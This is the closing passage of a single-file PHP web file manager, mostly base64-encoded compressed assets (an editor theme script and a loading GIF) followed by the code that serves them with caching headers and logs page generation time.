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'; $base64_files['theme-monokai.js'] = 'eJyVVm2P4jYQ/t5f4abSKUgJhCzviA8sJKeq0vW2e7ft3elUmcQJPpI4dZwFivjvHSfAhqxZqK2AY8888+6MTwKaEF3DHmmJJYlJK2YJW2GqGd80Tv7JKSeaoZFNyrjIYBUzP4/kluSI6KLls1j7bgR54gnKEp0YwkgaO9Gk2Rzz1eRnyxBNL8tmEc6yieQyTxKKg09kIyZas3KA5MvfYS4E4Wi3wN4q5CxP/BH6xXbv2vZw7LGIcXgduENrMN2/Zk45TYQZYx7SBO3W1BfLEWqnm/EZWrfb7XXb5+wVeeZRjN23B7Z9kuoOYNoKqV7OMwYqnxFaCkJQbEW4GeEtWFjsZCQihQNrBneGncGdcwZRIuSRoCVTDaB8E5gLgGIbM1tin61HyIJ5l26QBc/RottUEyQ914qHC71t2QYawGM1bkJZcAAgoFMZlBEy21IZmGYRF8Z9wosYoYxF1Feafgkcg+XPxIwglesJY8mpACnTy7zAWQ09zP8RQuKba7BF+v52i2jyTDO6iMhL7nTtrt3xFbQkEVRsi2WCY1IsBA6N15QrspWqKE5iIvAbjJlgHIcVZdyh3eurMj6VZZ9jmXcKnMrpUdoLZhAEqhJiCeRuIsqXJYasgTApsM8II5yEOWh8jS7JY8Kpd42MwU1YKeOpM2i7rjpsWAa2VvBjRR5d9OABo1j7JOXEw5BDt0BeVCvLU3lbn9mlinKF7Hh9v8jt9eZDR4UesMhXlsq059i2c6hk8+pleUiyMjG2qSp2Z4bI78cVGgmDdgGDqz8T24iMEBXgXG981ShVUR19ohBaIS9y5QaS8p4SgtNFLogppSi4njGn+OweKL2qUPlIWlYaFAoUtczaN8x358N+W5kxoFZSqU2nN7/vd5TlGcdg2Qtlv9tvd9VXmg+EZphTv3Yn5zzSfSzwiMYQ/1aahJDdGel1DPp0//sfa+u39yGbwvjw+HnpfA7l0pE/s9n0i/z7Gi6+JMXuKnIenh5+jf/8+GC5c+vrX/f/+q31x+n0x9OUbchj+IFMC8LI/bR6zB/i2ayBOA2XAnGSEizM7V4bgycRn0AT1GyeOprGmDdpLDNrlmWPhXv0U7tS6Wga+8YY1YZ+aoYaaPdT/VSONXiHrZuH/kr/pmi/vhvoBBNfwpGDBkiXic8CVPZmaDJBGlv8gI+Rht69Q4fDQwtXPy153hIgR0nVPGGgeHyRfq88AT+92t839Nrufx9LifM='; $base64_files['throbber.gif'] = 'eJx902tMU2cYB/CensPp23LaHkqFA6i0WykHRVIQsApzLTdLsVwEZkHQFgQKVik3BUTTUq1QqyDTCRtBpJHVeRmgLrhFU0AFvKKBqNO4ijodbgvMOPWDspLMb90+vN+e5P/L/3mfVYkJ4uVqnIJTXlEos7Oz09PTZrPZ4XAkJCTU1tZSKBSlUikQCE6ePHnx4kUul9ve3o4gSGRkpEaj4c+6J8dnpMdKU+PDQkQw5Jzmf/CNLS9QVxZs5G0rrtTw1CXqam2pemNI8ZbCUgr/HUJnOKeCnY8yF0pBynAZ/iKqqkQ0Bkyhqd+EE7KxhgEb06oCi9sToVDjjbK67uuSu6n9OkkO77F4Mpxa35TWhZxOoxqyf1x/yjy4xEYHXkjRNXEQjyiEtM2dPcuthtgDKuxpiidEc6NgGbAuAHb7dA+HkR/AYGR6uFLonApNzbmby0dAQyiW1JdofKy/gS96AABqDLZItQMGmvvwZdWIBqUdwjrf1gkNksGKOzJOUwy0tSsOtgw9GTi18wJsyuQ8U7Dh9Y4gD5zjuCSL/PwKjQ0zqhXaaDdstbB+k7bETO4LTAp0iSh3IkhPJ+IRQDhIcl9ibIV+Uk0+oIkSOEIUwnSpBwX1EocIQ9Anf/aKMZTM5iTQyYW+jYO8VtKEvSiOS+beHA89v0K2McCq4M3YR+AwurWz5++71b5hq1L8a0ohTJTCrSnfEpVXFhia55ox1wWZ72TIAW1mwVUhc7832pSW7G8PltsIdkTq4FJk1+BuFRBhe+WBr6OCcPTwU+u0Fu3fIBmQCbZ2D+fd5uUSDsXiqU4EZTCLJLcwpPXGt0GPP0z5b/UNXWcoNdYyonbV1SpCtwiFzUKXiMK5hQQ5EcnANOPjRJi8UffzOyRSk6U3Fa4KZrzIWdwGxhKZ4XD8iL25jtvBvFqGYcS99tHep7mMnxWbEnsXLpNP3TdPyA7y/3gttg2OFDx8XmG6OFXzxRbP+hqTcJfR02V0tTPatubcTZ81IGZm3pDQbXcg4K0pn5jGXvaADB9ylBJ2uD5/D28jl2oRisTE/O9v2c/QccL/N3sRVcSi1at+mtAS4NKkVL0zEqZZH3YndaMwf+raTi9Ugbr7+OxYgNIo0Zk5pQBl5GZtpsAolpuZ5OcSUzF3HoQTkwGwV6FDQoPyk7C40UwjboMPKL0iF3u/qtx1ZPeb5cyFe40vPe1aahNS8d19wcImo7aEKgCsVYY7wckorXim4jiLixrHwpZE46ht4MCoygulovmlKSv0cHVIymom6s1clhtIq+O6dpR9dOhS5bhgSLiDePtZwFomXxzNOFQ1WRUQvw0sa+pO13Gzu54KeSDgiFDfJVFER/hdfjJ9puar8ILTxvk87MKXwyocANBt0MFgDCBWpn4zqoXd3SEWusSPjvKNC0BEWgCU4/PfbWj6K6e2D/fLj6VtcLRZSHX3O7qxoOxsS2tMyaHJy9GWe9hSOlJ81kPF0zxqsUrVX/eQuJlpOSMgsIEJfQ+eQWUa81USEYdd7zFjE/VRjfbHMv3hGI4WQHUQjWnwpDdCgCVEsuRF6UW+/+u49s7m+7rKSJUrReuvqrJOvGFa6BWaZvDDsY6DXs97yZUxemnecR3RgQj2DaTf9jqdqO+VczouXBsasCG4abithzufao492qKjYxZY2itrCIdRFlQLubGyfBnAH0EWsRv9uFRqoWtH6UfH9olxh1tXJKZem2dQAytBHpv0PRYx9ksm0bjv978khD/PniyNCvfaG1PehjdykHFB6jOSffph/LQsg8qK5UvEIp+mLEPaUYiwD+Y7QMtqd8TJwLLSsyA2bWU2rwir9HF9Lv92UXLuyvtWlHR+qo5IzK4WbDC7NfAxk8eG9RHjaEJM3wklwdz9KxcXA8TQ0Jc9D1ceB5nvSdbJRMntEwjDtH+mBSevh0gdacoAgjzadDkNTLGD+XEstsINojekw4Y93ph6HZcumnNE/QMdUh5G'; // +-------------------------------------------------- $filename = trim($filename,'/'); if (isset($base64_files[$filename])) { $headers = @apache_request_headers(); $fm_mtime = filemtime(__FILE__); // Checking if the client is validating his cache and if it is current. if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == $fm_mtime)) { // Client's cache IS current, so we just respond '304 Not Modified'. header('Last-Modified: '.gmdate('D, d M Y H:i:s', $fm_mtime).' GMT', true, 304); } else { // Image not cached or cache outdated, we respond '200 OK' and output the image. header('Last-Modified: '.gmdate('D, d M Y H:i:s', $fm_mtime).' GMT', true, 200); $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($extension == 'jpg') header("Content-Type: image/jpeg"); elseif ($extension == 'gif') header("Content-Type: image/gif"); elseif ($extension == 'png') header("Content-Type: image/png"); elseif ($extension == 'js') header("Content-Type: text/javascript"); elseif ($extension == 'css') header("Content-Type: text/css"); header("Content-Disposition: inline; filename=\"".basename($filename)."\""); $data = gzuncompress(base64_decode($base64_files[$filename])); if ($filename == 'jstree.style.min.css') { $data = str_replace('32px.png', $fm_path_info['basename'].'?action=99&filename=32px.png', $data); $data = str_replace('throbber.gif', $fm_path_info['basename'].'?action=99&filename=throbber.gif', $data); } echo $data; } } else { header('HTTP/1.1 404 Not Found'); } die(); } fb_log("Page generated in ".number_format((getmicrotime()-$script_init_time), 3, '.', '')."s (limit ".ini_get("max_execution_time")."s) using ".format_size(memory_get_usage())." (limit ".ini_get("memory_limit").")"); // +-------------------------------------------------- // | THE END // +-------------------------------------------------- ?>